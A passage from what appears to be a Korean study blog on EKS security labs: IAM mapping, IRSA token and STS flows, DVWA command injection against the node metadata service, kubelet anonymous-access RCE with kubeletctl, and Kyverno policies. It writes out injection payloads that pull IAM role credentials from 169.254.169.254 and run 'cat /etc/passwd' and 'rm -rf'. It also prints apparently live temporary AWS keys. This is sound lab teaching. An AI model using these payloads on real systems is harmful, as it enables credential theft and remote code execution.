aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/testuser"

# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있는데, 실패 이유는?
kubectl get node -v6
ls ~/.kube

 

따라서 testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한을 설정하고

# 방안1 : eksctl 사용 >> iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

 

myeks-bastion-2에서 testuser kubeconfig 생성 및 kubectl 사용을 확인해보도록 하자.

# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh

# kubectl 사용 확인
kubectl ns default
kubectl get node -v6

# rbac-tool 후 확인 >> 기존 계정과 비교해보자 >> system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool && kubectl rbac-tool whoami

 

 

 

권한을 authenticated로 변경한 후 테스트도 해보았다.

# bastian1에서 실습

# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...

# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

 

실습을 다 한 이후에는 testuser IAM 매핑을 삭제한다.

 

# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn  arn:aws:iam::$ACCOUNT_ID:user/testuser

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh

 

3. EKS IRSA & Pod Identity

EKS IRSA 소개에 대해서는 최근 AKSKRUG에서 있었던 커뮤니티 발표 슬라이드 내용을 인용해본다.

(출처: https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf )

 

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1

 

# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo

# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls

# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN

# 파드2 삭제
kubectl delete pod eks-iam-test2

 

 

 

eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)
  
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

kubectl get sa
kubectl describe sa my-sa

 

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
    volumeMounts: 
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  ...
  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
...

kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token

kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...

kubectl describe pod eks-iam-test3
...
Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-sn467:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
...

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"

# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2

 

IRSA로 s3에 대해서만 조회하도록 설정하였기에 이 부분만 실행되고 다른 부분은 실행되지 않는 것을 확인할 수 있었다.

 

# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
    "name": "kube-api-access-sn467",
    "readOnly": true
  },
  {
    "mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
    "name": "aws-iam-token",
    "readOnly": true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
  "name": "aws-iam-token",
  "projected": {
    "defaultMode": 420,
    "sources": [
      {
        "serviceAccountToken": {
          "audience": "sts.amazonaws.com",
          "expirationSeconds": 86400,
          "path": "token"
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh

# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1685175662,
  "iat": 1685089262,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
    }
  },
  "nbf": 1685089262,
  "sub": "system:serviceaccount:default:my-sa"
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
  },
  {
    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }
]

# Let’s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.
IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)

# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'

# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token). 
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'

 

# AWS_WEB_IDENTITY_TOKEN_FILE 토큰 값 변수 지정
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# ROLE ARN 확인 후 변수 직접 지정
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
ROLE_ARN=<각자 자신의 ROLE ARN>
ROLE_ARN=arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U

# assume-role-with-web-identity STS 임시자격증명 발급 요청
aws sts assume-role-with-web-identity --role-arn $ROLE_ARN --role-session-name mykey --web-identity-token $IAM_TOKEN | jq
{
  "Credentials": {
    "AccessKeyId": "ASIA5ILF2FJIZLOCB36X",
    "SecretAccessKey": "IvuD2BEt/TtScyv6uq3U5mF3RStuxya5gHydlz2Z",
    "SessionToken": "IQoJb3JpZ2luX2VjELH//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgFsxs4rNyxuWTgqIuQWONuU8lkb+S1E9rvY4YLMtAR0ACIAfRrLYpisS1Ql+2agL0meQ+iy08bLv992tTCr0vZkqVKvkECOr//////////wEQARoMOTExMjgzNDY0Nzg1IgwmJn8sjNaBM0F+L/gqzQSnX6M6BlgzqiX3Sob0R8QZo0TEumVqCsLopwdHBzIZL6VU3kFaeqIpUh9uuZ+JaR7MlFKS7FYhIq7r+fMh5f8toWojtyKwLjT9eN2yi5A5ZfWahln1MIu9fv/dASR4USMxLtbMHOGpx3BE/pCHhV+u85z/LoHSlVNaF5IrQiCXbo3f9DrJ0kHQZuQY3N0pFDlGzXuv5hCedGlJQU2IzUcmW5kHQ/jNyIf+xEO2nTSksna5iE3r9TNnO6b6v8gZc5zDUs3fGfJfP4QwKjRXOUDMnydJ9LzME+mYoYHObdeCqncGuGwJ3GIXx9qw9ZABXuAlvATuLROaYkeLsXuote1UOqPILxvETvWo1VHA2f0hYL9ZFDSF3j6yGU+GEHbFGoMRVaVFqdbpF1bMEbC9FlmR5AWbAkkYZs8kfXRcObfpZxLB4vQBXeqj9OU/yDPvvNA+CgOoA5HFI0SjeFQHOVB7S5KVm6CAOKtoMIzTeKnKpKmN07dqJzvGrpwtNMh/GhCouunvbgNG7jF/TM3jgAniDxoD9IzCQMICNgxdioOFnB6Oe1AzMkKui53MP8Af/lcDiUKTIUNrKxdm0719kuXqR88coihzrLGkdA7Eb5Gg/gCnk+SzPu7Wu5xZaYXBe6Xqh0/c1dKsN1YQLOANo5aF3B2RCGJFDwr78rOUvNWxXs84us/Uz5k6LIGZseVzZcGh5U9ztJqhzoKFvnphbtU8b1Ctg/pTrF8EnjLGR0s4QggdrsW1b7vznisMwFrHh0F+FhSy7ldvfeXmwpQgMNP666MGOpsBmNam9fm/qK6EjmllDDvf6mR9l99Vop++V2vf1GoM4ru8/TfgP25+B1N9gEbnRuhMTxQrN6VGcyaNNlKBkwxtAs+aikBcvjk3cm0jPZmiQntTkNtBw92NAJwbRmhSIQynznxN7I1FnFukP06J9V9MiuhsJGXpGXi0kWOOQnqb9u2YraRLKJdTqVfv5dGt7aM67PeJrr/0v2YKU0M=",
    "Expiration": "2023-06-03T09:44:03+00:00"
  },
  "SubjectFromWebIdentityToken": "system:serviceaccount:default:my-sa",
  "AssumedRoleUser": {
    "AssumedRoleId": "AROA5ILF2FJI7UWTLJWKW:mykey",
    "Arn": "arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1W8J3Q0GAMA6U/mykey"
  },
  "Provider": "arn:aws:iam::911283464785:oidc-provider/oidc.eks.ap-northeast-2.amazonaws.com/id/8883A42CB049E2FA9B642086E7021450",
  "Audience": "sts.amazonaws.com"
}

 

 

kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa

 

4. OWASP Kubernetes Top Ten

https://malwareanalysis.tistory.com/607https://malwareanalysis.tistory.com/606에 올라온 링크 내용을 기반으로 실습해보았다.

 

MySQL 배포:

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

 

dvwa 배포

 

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

 

Ingress 배포:

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"

 

이렇게 배포하면 웹 페이지가 나올 것이다. 취약점이 있는 상황을 가정하여 몇 가지 테스트를 해보았다.

 

커맨드 인젝센 메뉴를 클릭하여 테스트를 해보자. 보안에 심각한 상황이라고 볼 수 있겠다. 심지어 IAM Role 자격증명 탈취도 가능하다.

# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEANOG-4ks8XjkwjLYmb7ZbipV2DVeGq_fZQu5KnF9_cPQepvJVw==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-lKzPjREWXRLe
{
  "Code" : "Success",
  "LastUpdated" : "2024-04-13T23:36:24Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA3FLD2UNZMV2BDGLE",
  "SecretAccessKey" : "rliPdSE9AaYqaIURla+v4nl2yPSq5NXo+5B5txYt",
  "Token" : "IQoJb3JpZ2luX2VjEEgaDmFwLW5vcnRoZWFzdC0yIkgwRgIhAPoKj+Kwal23UUDFq09ieb+hL367teLVQbi+/348mJUeAiEA/tZ6jriRI4MHBuIv6/t7TKtXYbSU7jqsuRAYxeKUpEQq1QUIgf//////////ARAAGgw3NjczOTc4OTcwNzQiDMow3zopgYKeFONXYyqpBTGe4CTk2PZvP2o4IKLiRpLXvK9sf9aBz93QSybSI8v9+uyy9in2dOYqkbM0oCa2yCah7mL7LUM+sDe3waj8Mcfrye0KPoVzROhAihLAKFNLTyuAC10IWuxeEyZkQuCU+W+6IuRY0i8jTDRmrKaU7Oj2FzRc92VYpT/kAvfVlE9mKdFanlegvPjOEuZF4sOMWmyCKjvEW2wYIK12Z3q6w+VVOlzIqDFL4OvgIFAVaY6rxVAV+wgWxNBTgiQCAJRl79BN3jee9+Ems3IxPe8n3qqH4MXyxin1ZMeqZwYgxZO8gwWm6f+jdV2NtOET8Np3SgFZA8hznt6W+G9TS6slMV7zu8cMkFfficG6cOI/7dCRByxsdztbia/8JrlxvT1kevAldz8vrZKul5crUCIaw2xOfRC/cWqmBR/3RSMzcID3tvDxBU38XdhS98iWWKRt82xQSQU1IRJ5/jr/pnLQNR7hRI6vWUec3wIFCiLB5wZvOtYIc9BvZLl4feWO7vsg8dheRsYmSB3z7egN42K80AfblaENMvTSO68SidEmfo18HLatL0maBvOMO7n3QtYIxL3Rs8GXz51Cw0ZEfcFFXN08j8aHFHXc79V8GZTKMWmtpvHW/urtCAXbbPI+dCJoo2Won+83Z4rZhWQpTUkBURS/rnZxXnD1A+Nj91ezBLohqQOWyFgHCADpIhNKedXxODQwWvn8/ScBns0mayoPc0ks+w/9diJ7lorkMqTOix7yNfzQK8irOZZ4/wq2J/981HufrRV+NVPXUszFKz9Y9836qBXKuiqimo3rN8jawzUhNtEFT5NX0W1BXG0Zur8jfJcMLjeB0U59J5xfyY496Iw4VvqlYfXQtFjr4GEb7vDH6ZN6F1W4vSiY3EIWH6h1c58QZxW4DK4lSTDGreywBjqwAcfzKV6+4KJeJTxwWqGvjSBf+ie5o37MnSj3sdIg8YG+ZMK5eAENrVDGT5N4w0qq3Y0BeoimcBo8yTyPdH8nRG72dCx43ZHxck82WKEvr2WkUJ4TmR3uK0aCeJYsj00uocryKnD5JDm2Yi/QSVMGPX8q038PcaKEemQxcwiDQS+ExE5V9RiqlGWcVblZ2M4fG9X0T104KfM8jGEWLvJpv+g1iGgCSibMUWo0/CNSl3IR",
  "Expiration" : "2024-04-14T05:57:40Z"
}

# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*

 

그리고 Kubelet 미흡한 인증/인가 설정 시 위험한 부분에 대해서도 실습해보았다.

## Bastion 1

# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
LISTEN 0      4096       127.0.0.1:10248      0.0.0.0:*    users:(("kubelet",pid=2940,fd=20))
LISTEN 0      4096               *:10250            *:*    users:(("kubelet",pid=2940,fd=21))

# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: myawscli
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager

## Bastion 2

# 기존 kubeconfig 삭제
rm -rf ~/.kube

# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81

# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32

# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized

## Bastion 1

# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
    "anonymous": {
      "enabled": true
...
  },
  "authorization": {
    "mode": "AlwaysAllow",
...

# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------

## Bastion 2 test

# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq

# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq

# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
kubeletctl -s $N1 pods

# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=aws --version"

# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce

# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics

 

 

5. Kyverno

무엇보다 Kyverno에 대한 부분은 처음 보는 부분이어서 이번 스터디에서 많은 도움이 된 부분이라고 생각한다. 정책 기반으로 리소스를 관리하는 오픈 소스 프로젝트로, EKS와 어떻게 맞물려 동작하는지 프로메테우스 및 그라파나에서 메트릭을 확인도 가능하니 정책 기반으로 보안을 관리하는 데 있어 매우 유용하리라 생각한다.

 

# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

 

 

Validation 실습

# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"
EOF

# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
